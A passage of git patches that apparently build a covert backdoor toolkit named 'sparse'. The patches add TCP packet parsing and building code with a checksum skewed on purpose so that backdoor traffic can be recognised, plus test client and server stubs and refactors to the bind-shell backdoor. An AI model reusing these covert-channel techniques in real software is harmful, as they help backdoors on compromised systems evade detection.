From 0ef459bcfecb8362009752c31938a4be261fa04b Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Thu, 14 Sep 2023 01:30:29 -0400 Subject: [PATCH 01/15] feat: added framework for TCP client --- .devcontainer/Dockerfile.alpine | 2 +- Cargo.lock | 123 ++++++++++++++++++++++++++---- Cargo.toml | 1 + Makefile.toml | 7 ++ tcp-test/client/Cargo.toml | 12 +++ tcp-test/client/src/main.rs | 4 + tcp-test/sample-connection.pcapng | Bin 0 -> 1264 bytes tcp-test/server.py | 13 ++++ 8 files changed, 148 insertions(+), 14 deletions(-) create mode 100644 tcp-test/client/Cargo.toml create mode 100644 tcp-test/client/src/main.rs create mode 100644 tcp-test/sample-connection.pcapng create mode 100644 tcp-test/server.py diff --git a/.devcontainer/Dockerfile.alpine b/.devcontainer/Dockerfile.alpine index d63ebe5..729edd5 100644 --- a/.devcontainer/Dockerfile.alpine +++ b/.devcontainer/Dockerfile.alpine @@ -15,7 +15,7 @@ FROM rust:1-alpine -RUN apk add cmake make automake musl-dev autoconf libtool \ +RUN apk add cmake make automake musl-dev autoconf libtool libcap \ flex bison linux-headers openssl-dev lldb build-base libcap-dev RUN apk add mingw-w64-gcc mingw-w64-winpthreads mingw-w64-headers && \ diff --git a/Cargo.lock b/Cargo.lock index 4eda7b6..9282e81 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -264,7 +264,7 @@ checksum = "0b9fdf9972b2bd6af2d913799d9ebc165ea4d2e65878e329d9c6b372c4491b61" dependencies = [ "byteorder", "digest", - "rand_core", + "rand_core 0.5.1", "subtle", "zeroize", ] @@ -301,7 +301,7 @@ dependencies = [ "digest", "hex", "hkdf", - "rand", + "rand 0.7.3", "serde", "sha2", "thiserror", @@ -326,7 +326,7 @@ checksum = "c762bae6dcaf24c4c84667b8579785430908723d5c889f469d76a41d59cc7a9d" dependencies = [ "curve25519-dalek", "ed25519", - "rand", + "rand 0.7.3", "serde", "serde_bytes", "sha2", @@ -395,7 +395,7 @@ name = "ex-bind-shell-key-generator" version = "0.1.0" dependencies = [ "ed25519-dalek", - "rand", + "rand 0.7.3", ] [[package]] @@ -534,6 +534,17 @@ dependencies = [ "wasi 0.9.0+wasi-snapshot-preview1", ] +[[package]] +name = "getrandom" +version = "0.2.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be4136b2a15dd319360be1c07d9933517ccf0be8f16bf62a3bee4f0d618df427" +dependencies = [ + "cfg-if", + "libc", + "wasi 0.11.0+wasi-snapshot-preview1", +] + [[package]] name = "ghash" version = "0.3.1" @@ -627,6 +638,16 @@ version = "0.4.5" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "57bcfdad1b858c2db7c38303a6d2ad4dfaf5eb53dfeb0910128b2c26d6158503" +[[package]] +name = "lock_api" +version = "0.4.10" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c1cc9717a20b1bb222f333e6a92fd32f7d8a18ddc5a3191a11af45dcbf4dcd16" +dependencies = [ + "autocfg", + "scopeguard", +] + [[package]] name = "log" version = "0.4.17" @@ -719,6 +740,29 @@ checksum = "624a8340c38c1b80fd549087862da4ba43e08858af025b236e509b6649fc13d5" name = "packets" version = "0.1.0" +[[package]] +name = "parking_lot" +version = "0.12.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3742b2c103b9f06bc9fff0a37ff4912935851bee6d36f3c02bcc755bcfec228f" +dependencies = [ + "lock_api", + "parking_lot_core", +] + +[[package]] +name = "parking_lot_core" +version = "0.9.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "93f00c865fe7cabf650081affecd3871070f26767e7b2070a3ffae14c654b447" +dependencies = [ + "cfg-if", + "libc", + "redox_syscall", + "smallvec", + "windows-targets 0.48.0", +] + [[package]] name = "paste" version = "1.0.14" @@ -860,13 +904,24 @@ version = "0.7.3" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "6a6b1679d49b24bbfe0c803429aa1874472f50d9b363131f0e89fc356b544d03" dependencies = [ - "getrandom", + "getrandom 0.1.16", "libc", - "rand_chacha", - "rand_core", + "rand_chacha 0.2.2", + "rand_core 0.5.1", "rand_hc", ] +[[package]] +name = "rand" +version = "0.8.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404" +dependencies = [ + "libc", + "rand_chacha 0.3.1", + "rand_core 0.6.4", +] + [[package]] name = "rand_chacha" version = "0.2.2" @@ -874,7 +929,17 @@ source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "f4c8ed856279c9737206bf725bf36935d8666ead7aa69b52be55af369d193402" dependencies = [ "ppv-lite86", - "rand_core", + "rand_core 0.5.1", +] + +[[package]] +name = "rand_chacha" +version = "0.3.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88" +dependencies = [ + "ppv-lite86", + "rand_core 0.6.4", ] [[package]] @@ -883,7 +948,16 @@ version = "0.5.1" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "90bde5296fc891b0cef12a6d03ddccc162ce7b2aff54160af9338f8d40df6d19" dependencies = [ - "getrandom", + "getrandom 0.1.16", +] + +[[package]] +name = "rand_core" +version = "0.6.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c" +dependencies = [ + "getrandom 0.2.10", ] [[package]] @@ -892,7 +966,7 @@ version = "0.2.0" source = "registry+https://github.com/rust-lang/crates.io-index" checksum = "ca3129af7b92a17112d59ad498c6f81eaf463253766b90396d39ea7a39d6613c" dependencies = [ - "rand_core", + "rand_core 0.5.1", ] [[package]] @@ -964,6 +1038,12 @@ dependencies = [ "windows-sys 0.48.0", ] +[[package]] +name = "scopeguard" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "94143f37725109f92c262ed2cf5e59bce7498c01bcc1502d7b9afe439a4e9f49" + [[package]] name = "semver" version = "0.9.0" @@ -1069,6 +1149,12 @@ dependencies = [ "autocfg", ] +[[package]] +name = "smallvec" +version = "1.11.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "62bb4feee49fdd9f707ef802e22365a35de4b7b299de4763d44bfea899442ff9" + [[package]] name = "socket2" version = "0.5.3" @@ -1088,7 +1174,7 @@ dependencies = [ "ecies-ed25519", "ed25519-dalek", "libc", - "rand", + "rand 0.7.3", "raw_tty", "rmp-serde", "serde", @@ -1104,7 +1190,7 @@ version = "0.1.0" dependencies = [ "ecies-ed25519", "ed25519-dalek", - "rand", + "rand 0.7.3", "serde", "serde_repr", ] @@ -1122,7 +1208,7 @@ dependencies = [ "log", "packets", "pcap-sys", - "rand", + "rand 0.7.3", "rmp-serde", "serde", "simple_logger", @@ -1206,6 +1292,16 @@ dependencies = [ "unicode-ident", ] +[[package]] +name = "tcp-test" +version = "0.1.0" +dependencies = [ + "nl-sys", + "pcap-sys", + "rand 0.8.5", + "tokio", +] + [[package]] name = "tempfile" version = "3.8.0" @@ -1288,6 +1384,7 @@ dependencies = [ "libc", "mio", "num_cpus", + "parking_lot", "pin-project-lite", "signal-hook-registry", "socket2", diff --git a/Cargo.toml b/Cargo.toml index 4edf42f..2401f91 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -5,6 +5,7 @@ members = [ "examples/*/*", "sparse-protocol", "sparse-05/*", + "tcp-test/client" ] resolver = "2" diff --git a/Makefile.toml b/Makefile.toml index 8aaaf47..7666d97 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -27,6 +27,13 @@ script = [ "docker-compose run build build --bin sparse-05-client ${@}", ] +[tasks.tcp-test] +workspace = false +script = [ + "docker-compose run build build --bin tcp-test ${@}", + "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test" +] + [tasks.fmt] command = "cargo" args = ["fmt"] diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml new file mode 100644 index 0000000..c3f6221 --- /dev/null +++ b/tcp-test/client/Cargo.toml @@ -0,0 +1,12 @@ +[package] +name = "tcp-test" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +pcap-sys = { path = "../../pcap-sys" } +nl-sys = { path = "../../nl-sys" } +rand = "0.8.5" +tokio = { version = "1.32.0", features = ["full"] } diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs new file mode 100644 index 0000000..7e3d561 --- /dev/null +++ b/tcp-test/client/src/main.rs @@ -0,0 +1,4 @@ +#[tokio::main] +async fn main() { + println!("Hello, world!"); +} diff --git a/tcp-test/sample-connection.pcapng b/tcp-test/sample-connection.pcapng new file mode 100644 index 0000000000000000000000000000000000000000..ba5b4857442b9e9e8f21f0d9cc59c4f5050f4eef GIT binary patch literal 1264 zcmd<$<>gwzz`)>Zqb|Fi;MG%6g0{+OEMIKgI!JZj5HY-7?>G^7<@AGN-Gr1^o;c^b<hkoh2cK=y&G0@<^9e@ha` zA0Uiu&!R_QdrUY2K=zmvf$RWbXt-VZn|ewc)h{4>HeUsq4YC7d7tD^iEv;Dn!fXq+ z!-69aY)3B0d=N&l1H&(yuNLHE_sh>|tyulyl?JxQ`4~UuK@eZbxk-#14)ikR2ukAoD>O>X#ef@DfChd(`kkwu9*=Qz|GvKo~hrUNb=K z_+bvR!=(#kJ_sZE<0hIv{-5)M#0e`>-t=N+W02C^=+DR?!{D4>npcuqRIE@?lwX#a zlA5BBRH={xDMXkUI2b@`O`ad}V}`ONG&lOQFmN#N|6l?I2?Hww2bhKtpgaix8QUR1 literal 0 HcmV?d00001 diff --git a/tcp-test/server.py b/tcp-test/server.py new file mode 100644 index 0000000..680551f --- /dev/null +++ b/tcp-test/server.py @@ -0,0 +1,13 @@ +#!/usr/bin/env python3 + +import socket + +server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + +server.bind(("0.0.0.0", 54248)) +server.listen(32) + +client, addr = server.accept() +with client: + print(client.recv(24)) + client.sendall(b"pong") From 25948a17f422a0f59553a4ee0ab78fad2b09c8cb Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Sun, 17 Sep 2023 14:07:31 -0400 Subject: [PATCH 02/15] feat: starting the TCP client proof of concept --- Cargo.lock | 16 +++ Makefile.toml | 7 ++ docker-compose.yml | 6 ++ packets/src/lib.rs | 193 +++++++++++++++++++++++++++++++++++- rustfmt.toml | 1 + tcp-test/client/Cargo.toml | 2 + tcp-test/client/src/main.rs | 44 +++++++- tcp-test/server.py | 10 +- 8 files changed, 271 insertions(+), 8 deletions(-) create mode 100644 rustfmt.toml diff --git a/Cargo.lock b/Cargo.lock index 9282e81..13b6f77 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1296,10 +1296,12 @@ dependencies = [ name = "tcp-test" version = "0.1.0" dependencies = [ + "anyhow", "nl-sys", "pcap-sys", "rand 0.8.5", "tokio", + "tokio-stream", ] [[package]] @@ -1412,6 +1414,20 @@ dependencies = [ "futures-core", "pin-project-lite", "tokio", + "tokio-util", +] + +[[package]] +name = "tokio-util" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "806fe8c2c87eccc8b3267cbae29ed3ab2d0bd37fca70ab622e46aaa9375ddb7d" +dependencies = [ + "bytes", + "futures-core", + "futures-sink", + "pin-project-lite", + "tokio", ] [[package]] diff --git a/Makefile.toml b/Makefile.toml index 7666d97..4fc2f0c 100644 --- a/Makefile.toml +++ b/Makefile.toml @@ -34,6 +34,13 @@ script = [ "docker-compose run --entrypoint=setcap build cap_net_raw=eip /workspaces/sparse/target/debug/tcp-test" ] +[tasks.run-tcp-test] +workspace = false +dependencies = ["tcp-test"] +script = [ + "docker-compose run tcptest_client /workspaces/sparse/target/debug/tcp-test $(/sbin/ip a show docker0 | awk -F'[ \t/]*' '/inet / { print $3 }')" +] + [tasks.fmt] command = "cargo" args = ["fmt"] diff --git a/docker-compose.yml b/docker-compose.yml index 5240029..bc44714 100644 --- a/docker-compose.yml +++ b/docker-compose.yml @@ -44,3 +44,9 @@ services: expose: - "54248/udp" command: /workspaces/sparse/target/debug/ex-revshell-server + + tcptest_client: + image: alpine + volumes: + - ./target:/workspaces/sparse/target + command: /workspaces/sparse/target/debug/tcp-target diff --git a/packets/src/lib.rs b/packets/src/lib.rs index c25e73d..5bfefa1 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -146,7 +146,13 @@ impl<'a> IPv4Pkt<'a> { pub fn get_layer4_packet(&self) -> error::Result> { match self.protocol() { - 17 => Ok(Layer4Pkt::UDP(UDPPkt { + // ICMP + 0x1 => Err(error::Error::UnknownPacketType(0x1)), + // TCP + 0x6 => Ok(Layer4Pkt::TCP(TCPPkt { + data: &self.data[(self.header_len() as usize)..], + })), + 0x11 => Ok(Layer4Pkt::UDP(UDPPkt { data: &self.data[(self.header_len() as usize)..], })), p => Err(error::Error::UnknownPacketType(p.into())), @@ -156,12 +162,14 @@ impl<'a> IPv4Pkt<'a> { pub enum Layer4Pkt<'a> { UDP(UDPPkt<'a>), + TCP(TCPPkt<'a>), } impl<'a> Layer4Pkt<'a> { pub fn len(&self) -> u16 { match self { Layer4Pkt::UDP(pkt) => pkt.len(), + Layer4Pkt::TCP(_) => 0, } } @@ -202,6 +210,88 @@ impl<'a> UDPPkt<'a> { } } +pub struct TCPPkt<'a> { + data: &'a [u8], +} + +impl<'a> TCPPkt<'a> { + pub fn len(&self) -> u8 { + (self.data[12] >> 4) * 4 + } + + pub fn srcport(&self) -> u16 { + u16::from_be_bytes(self.data[0..2].try_into().unwrap()) + } + + pub fn dstport(&self) -> u16 { + u16::from_be_bytes(self.data[2..4].try_into().unwrap()) + } + + pub fn seqnumber(&self) -> u32 { + u32::from_be_bytes(self.data[4..8].try_into().unwrap()) + } + + pub fn acknumber(&self) -> u32 { + u32::from_be_bytes(self.data[8..12].try_into().unwrap()) + } + + pub fn flags(&self) -> u8 { + self.data[13] + } + + pub fn cwr(&self) -> bool { + self.flags() & 0x80 != 0 + } + + pub fn ece(&self) -> bool { + self.flags() & 0x40 != 0 + } + + pub fn urg(&self) -> bool { + self.flags() & 0x20 != 0 + } + + pub fn ack(&self) -> bool { + self.flags() & 0x10 != 0 + } + + pub fn psh(&self) -> bool { + self.flags() & 0x08 != 0 + } + + pub fn rst(&self) -> bool { + self.flags() & 0x04 != 0 + } + + pub fn syn(&self) -> bool { + self.flags() & 0x02 != 0 + } + + pub fn fin(&self) -> bool { + self.flags() & 0x01 != 0 + } + + pub fn window(&self) -> u16 { + u16::from_be_bytes(self.data[14..16].try_into().unwrap()) + } + + pub fn checksum(&self) -> u16 { + u16::from_be_bytes(self.data[16..18].try_into().unwrap()) + } + + pub fn urgent_ptr(&self) -> u16 { + u16::from_be_bytes(self.data[18..20].try_into().unwrap()) + } + + pub fn options(&self) -> &[u8] { + &self.data[20..(self.len() as usize)] + } + + pub fn data(&self) -> &[u8] { + &self.data[(self.len() as usize)..] + } +} + #[derive(Debug, Clone)] pub struct EthernetPacket { data: Vec, @@ -252,7 +342,8 @@ impl IPv4Packet { let ttl: u8 = 64; let protocol: u8 = match packet { - Layer4Packet::UDP(_) => 17, + Layer4Packet::UDP(_) => 0x11, + Layer4Packet::TCP(_) => 0x6, }; let source_upper = u16::from_be_bytes(source.octets()[0..2].try_into().unwrap()); @@ -290,6 +381,7 @@ impl IPv4Packet { &dest.octets(), match packet { Layer4Packet::UDP(pkt) => &*pkt.data, + Layer4Packet::TCP(pkt) => &*pkt.data, }, ] .concat(); @@ -306,12 +398,14 @@ impl IPv4Packet { #[derive(Clone)] pub enum Layer4Packet { UDP(UDPPacket), + TCP(TCPPacket), } impl Layer4Packet { pub fn pkt(&'_ self) -> Layer4Pkt<'_> { match self { Layer4Packet::UDP(pkt) => Layer4Pkt::UDP(pkt.pkt()), + Layer4Packet::TCP(pkt) => Layer4Pkt::TCP(pkt.pkt()), } } } @@ -345,3 +439,98 @@ impl UDPPacket { UDPPkt { data: &self.data } } } + +#[derive(Clone)] +pub struct TCPPacket { + data: Vec, +} + +impl TCPPacket { + #[inline] + pub fn pkt(&'_ self) -> TCPPkt<'_> { + TCPPkt { data: &self.data } + } +} + +pub struct TCPPacketBuilder { + srcport: u16, + dstport: u16, + seqnumber: u32, + acknumber: u32, + flags: u8, + window: u16, + urgent_ptr: u16, + options: Vec, +} + +macro_rules! declare_flag { + ($name:ident, $offset:expr) => { + pub fn $name(mut self, enable: bool) -> Self { + if enable { + self.flags |= $offset + } else { + self.flags &= (0xFF ^ $offset) + } + self + } + }; +} + +impl TCPPacketBuilder { + pub fn srcport(mut self, port: u16) -> Self { + self.srcport = port; + self + } + + pub fn dstport(mut self, port: u16) -> Self { + self.dstport = port; + self + } + + pub fn seqnumber(mut self, num: u32) -> Self { + self.seqnumber = num; + self + } + + pub fn acknumber(mut self, num: u32) -> Self { + self.acknumber = num; + self + } + + declare_flag!(cwr, 0x80); + declare_flag!(ece, 0x40); + declare_flag!(urg, 0x20); + declare_flag!(ack, 0x10); + declare_flag!(psh, 0x08); + declare_flag!(rst, 0x04); + declare_flag!(syn, 0x02); + declare_flag!(fin, 0x01); + + pub fn window(mut self, window: u16) -> Self { + self.window = window; + self + } + + pub fn urgent_ptr(mut self, ptr: u16) -> Self { + self.urgent_ptr = ptr; + self + } + + pub fn options(mut self, opts: Vec) -> Self { + self.options = opts; + self + } + + pub fn build(self, srcip: I1, dstip: I2, data: Vec) -> TCPPacket + where + I1: Into, + I2: Into, + { + let source = srcip.into(); + let dest = dstip.into(); + + let protocol = &[0x00u8, 0x06u8]; + + let tcp_length = data.len() + self.options.len() + 32; + } +} diff --git a/rustfmt.toml b/rustfmt.toml new file mode 100644 index 0000000..3a26366 --- /dev/null +++ b/rustfmt.toml @@ -0,0 +1 @@ +edition = "2021" diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index c3f6221..0ca6754 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -10,3 +10,5 @@ pcap-sys = { path = "../../pcap-sys" } nl-sys = { path = "../../nl-sys" } rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } +anyhow = "1.0.75" +tokio-stream = { version = "0.1.14", features = ["full"] } diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 7e3d561..62106ee 100644 --- a/tcp-test/client/src/main.rs +++ b/tcp-test/client/src/main.rs @@ -1,4 +1,44 @@ +use std::net::Ipv4Addr; + +use anyhow::anyhow; + +use nl_sys::{netlink, route}; + #[tokio::main] -async fn main() { - println!("Hello, world!"); +async fn main() -> anyhow::Result<()> { + let ip = std::env::args() + .skip(1) + .next() + .ok_or(anyhow!("could not get target IP"))? + .parse::()?; + + let (ifname, src_mac, dst_mac, srcip) = { + let socket = netlink::Socket::new()?; + + let routes = socket.get_routes()?; + let neighs = socket.get_neigh()?; + let links = socket.get_links()?; + let addrs = socket.get_addrs()?; + + let (ifname, srcip, srcmac, dstmac) = + route::get_macs_and_src_for_ip(&addrs, &routes, &neighs, &links, ip) + .ok_or(anyhow!("unable to find a route to the IP"))?; + + (ifname, srcip, srcmac, dstmac) + }; + + let mut interface = pcap_sys::new_aggregate_interface(false)?; + + interface.set_buffer_size(8192)?; + interface.set_non_blocking(true)?; + interface.set_promisc(false)?; + interface.set_timeout(10)?; + + let mut interface = interface.activate()?; + + interface.set_filter("inbound and tcp port 54249", true, None)?; + + interface.prune(|_, interface| interface.datalink() != pcap_sys::consts::DLT_EN10MB); + + Ok(()) } diff --git a/tcp-test/server.py b/tcp-test/server.py index 680551f..ce1ef96 100644 --- a/tcp-test/server.py +++ b/tcp-test/server.py @@ -7,7 +7,9 @@ server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("0.0.0.0", 54248)) server.listen(32) -client, addr = server.accept() -with client: - print(client.recv(24)) - client.sendall(b"pong") +while True: + client, addr = server.accept() + print('Got connection') + with client: + print(client.recv(24)) + client.sendall(b"pong") From e5f6c2aa7ed87e8de3050431a7a08e65339c0cbd Mon Sep 17 00:00:00 2001 From: Andrew Rioux Date: Mon, 18 Sep 2023 01:29:05 -0400 Subject: [PATCH 03/15] feat: added modified TCP packet parser checksum generation code is different, to allow for some sneaky tricks with regards to identifying the sparse session but binding to the same port multiple times --- Cargo.lock | 1 + examples/bind-shell/backdoor/Cargo.toml | 2 +- examples/bind-shell/backdoor/src/main.rs | 4 +- packets/src/lib.rs | 106 +++++++++++++++++-- sparse-05/sparse-05-server/src/connection.rs | 12 ++- sparse-05/sparse-05-server/src/interface.rs | 4 +- sparse-05/sparse-05-server/src/main.rs | 12 ++- tcp-test/client/Cargo.toml | 1 + tcp-test/client/src/main.rs | 16 ++- 9 files changed, 137 insertions(+), 21 deletions(-) diff --git a/Cargo.lock b/Cargo.lock index 13b6f77..b802102 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -1298,6 +1298,7 @@ version = "0.1.0" dependencies = [ "anyhow", "nl-sys", + "packets", "pcap-sys", "rand 0.8.5", "tokio", diff --git a/examples/bind-shell/backdoor/Cargo.toml b/examples/bind-shell/backdoor/Cargo.toml index 3b71816..91453c9 100644 --- a/examples/bind-shell/backdoor/Cargo.toml +++ b/examples/bind-shell/backdoor/Cargo.toml @@ -22,4 +22,4 @@ cc = "1.0" [features] docker-breakout = [] no-exit = [] -setuid = ["libc"] \ No newline at end of file +setuid = ["libc"] diff --git a/examples/bind-shell/backdoor/src/main.rs b/examples/bind-shell/backdoor/src/main.rs index ea0804b..c857e38 100644 --- a/examples/bind-shell/backdoor/src/main.rs +++ b/examples/bind-shell/backdoor/src/main.rs @@ -139,7 +139,9 @@ async fn handle_command( use pcap_sys::packets::*; let eth_pkt = eth.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = eth_pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let source_port = udp_pkt.srcport(); diff --git a/packets/src/lib.rs b/packets/src/lib.rs index 5bfefa1..b0cf333 100644 --- a/packets/src/lib.rs +++ b/packets/src/lib.rs @@ -452,13 +452,14 @@ impl TCPPacket { } } +#[derive(Default)] pub struct TCPPacketBuilder { - srcport: u16, - dstport: u16, - seqnumber: u32, + srcport: Option, + dstport: Option, + seqnumber: Option, acknumber: u32, flags: u8, - window: u16, + window: Option, urgent_ptr: u16, options: Vec, } @@ -478,17 +479,17 @@ macro_rules! declare_flag { impl TCPPacketBuilder { pub fn srcport(mut self, port: u16) -> Self { - self.srcport = port; + self.srcport = Some(port); self } pub fn dstport(mut self, port: u16) -> Self { - self.dstport = port; + self.dstport = Some(port); self } pub fn seqnumber(mut self, num: u32) -> Self { - self.seqnumber = num; + self.seqnumber = Some(num); self } @@ -507,7 +508,7 @@ impl TCPPacketBuilder { declare_flag!(fin, 0x01); pub fn window(mut self, window: u16) -> Self { - self.window = window; + self.window = Some(window); self } @@ -531,6 +532,93 @@ impl TCPPacketBuilder { let protocol = &[0x00u8, 0x06u8]; - let tcp_length = data.len() + self.options.len() + 32; + let tcp_length = (data.len() + self.options.len() + 20) as u16; + + let srcport = self.srcport.unwrap(); + let dstport = self.dstport.unwrap(); + let seqnumber = self.seqnumber.unwrap(); + let window = self.window.unwrap(); + + let len: u8 = (self.options.len() / 4 + 5).try_into().unwrap(); + let len = len << 4; + + let mut bytes = [ + &source.octets()[..], + &dest.octets(), + protocol, + &tcp_length.to_be_bytes(), + &srcport.to_be_bytes()[..], + &dstport.to_be_bytes(), + &seqnumber.to_be_bytes(), + &self.acknumber.to_be_bytes(), + &[len], + &[self.flags], + &window.to_be_bytes(), + &[0, 0], + &self.urgent_ptr.to_be_bytes(), + &self.options, + &data, + ] + .concat(); + + let checksum = bytes + .chunks(2) + .map(|pair| { + if pair.len() == 1 { + (pair[0] as u32) << 8 + } else { + (pair[0] as u32) << 8 | (pair[1] as u32) + } + }) + .fold(0u32, |acc, e| acc + e) + + 30; + // + 30 to intentionally deviate from + // the RFC, to make it so that I can identify the packets as sparse + // packets + + let checksum = (checksum >> 16) + (checksum & 0xffff); + let checksum = ((checksum >> 16) as u16) + (checksum as u16); + let checksum = dbg!(!checksum).to_be_bytes(); + + //bytes[16] = checksum[0]; + //bytes[17] = checksum[1]; + bytes[28] = checksum[0]; + bytes[29] = checksum[1]; + + TCPPacket { + data: bytes[12..].to_vec(), + } + } +} + +#[cfg(test)] +mod test { + use std::net::Ipv4Addr; + + #[test] + fn test_tcp_checksum() { + let srcip = Ipv4Addr::new(127, 0, 0, 1); + let dstip = srcip.clone(); + + let packet = super::TCPPacketBuilder::default() + .srcport(36916) + .dstport(54248) + .seqnumber(0xFD65_CA26) + .syn(true) + .window(65495) + .options(vec![ + 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x03, 0x03, 0x07, + ]) + .build(srcip, dstip, vec![]); + + assert_eq!( + &packet.data, + &vec![ + 0x90, 0x34, 0xd3, 0xe8, 0xfd, 0x65, 0xca, 0x26, 0x00, 0x00, 0x00, 0x00, 0xa0, 0x02, + 0xff, 0xd7, 0xfe, 0x30, 0x00, 0x00, 0x02, 0x04, 0xff, 0xd7, 0x04, 0x02, 0x08, 0x0a, + 0xce, 0x4e, 0xad, 0x04, 0x00, 0x00, 0x00, 0x00, 0x01, 0x03, 0x03, 0x07 + ] + ); } } diff --git a/sparse-05/sparse-05-server/src/connection.rs b/sparse-05/sparse-05-server/src/connection.rs index c453776..f78c260 100644 --- a/sparse-05/sparse-05-server/src/connection.rs +++ b/sparse-05/sparse-05-server/src/connection.rs @@ -105,7 +105,9 @@ pub fn spawn_connection_handler( let packet = connection_packet.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let data = udp_pkt.get_data(); @@ -198,7 +200,9 @@ fn authenticate( use packets::*; let p = p.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = p.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let Ok(data) = conninfo.try_decrypt_and_verify(udp_pkt.get_data()) else { counter += 1; @@ -246,7 +250,9 @@ where let pkt = msg.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; if ip_pkt.source_ip() != conninfo.srcip || udp_pkt.srcport() != conninfo.srcport { continue; diff --git a/sparse-05/sparse-05-server/src/interface.rs b/sparse-05/sparse-05-server/src/interface.rs index 54b3c3d..eda0f61 100644 --- a/sparse-05/sparse-05-server/src/interface.rs +++ b/sparse-05/sparse-05-server/src/interface.rs @@ -111,7 +111,9 @@ impl InterfaceSender { Self::Udp(interf) => { use packets::*; let Layer3Pkt::IPv4Pkt(ip_pkt) = packet.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let addr = SocketAddrV4::new(ip_pkt.dest_ip(), udp_pkt.dstport()); diff --git a/sparse-05/sparse-05-server/src/main.rs b/sparse-05/sparse-05-server/src/main.rs index 4e49b01..d5af914 100644 --- a/sparse-05/sparse-05-server/src/main.rs +++ b/sparse-05/sparse-05-server/src/main.rs @@ -49,7 +49,9 @@ fn main() -> anyhow::Result<()> { let (kill_connection, kill_connection_recv) = channel::<(Ipv4Addr, u16)>(); thread::spawn(move || loop { - let Ok(packet) = recv_eth_packet.recv() else { continue }; + let Ok(packet) = recv_eth_packet.recv() else { + continue; + }; if let Err(_) = interface_sender.sendpacket(packet.pkt()) {} }); @@ -57,7 +59,9 @@ fn main() -> anyhow::Result<()> { s.spawn({ let connections = &connections; move || loop { - let Ok(connection) = kill_connection_recv.recv() else { continue }; + let Ok(connection) = kill_connection_recv.recv() else { + continue; + }; if let Ok(mut e) = connections.lock() { e.remove(&connection); } @@ -71,7 +75,9 @@ fn main() -> anyhow::Result<()> { let pkt = pkt.pkt(); let Layer3Pkt::IPv4Pkt(ip_pkt) = pkt.get_layer3_pkt()?; - let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()?; + let Layer4Pkt::UDP(udp_pkt) = ip_pkt.get_layer4_packet()? else { + todo!() + }; let connection_handle = &(ip_pkt.dest_ip(), udp_pkt.srcport()); diff --git a/tcp-test/client/Cargo.toml b/tcp-test/client/Cargo.toml index 0ca6754..8952797 100644 --- a/tcp-test/client/Cargo.toml +++ b/tcp-test/client/Cargo.toml @@ -7,6 +7,7 @@ edition = "2021" [dependencies] pcap-sys = { path = "../../pcap-sys" } +packets = { path = "../../packets" } nl-sys = { path = "../../nl-sys" } rand = "0.8.5" tokio = { version = "1.32.0", features = ["full"] } diff --git a/tcp-test/client/src/main.rs b/tcp-test/client/src/main.rs index 62106ee..877310d 100644 --- a/tcp-test/client/src/main.rs +++ 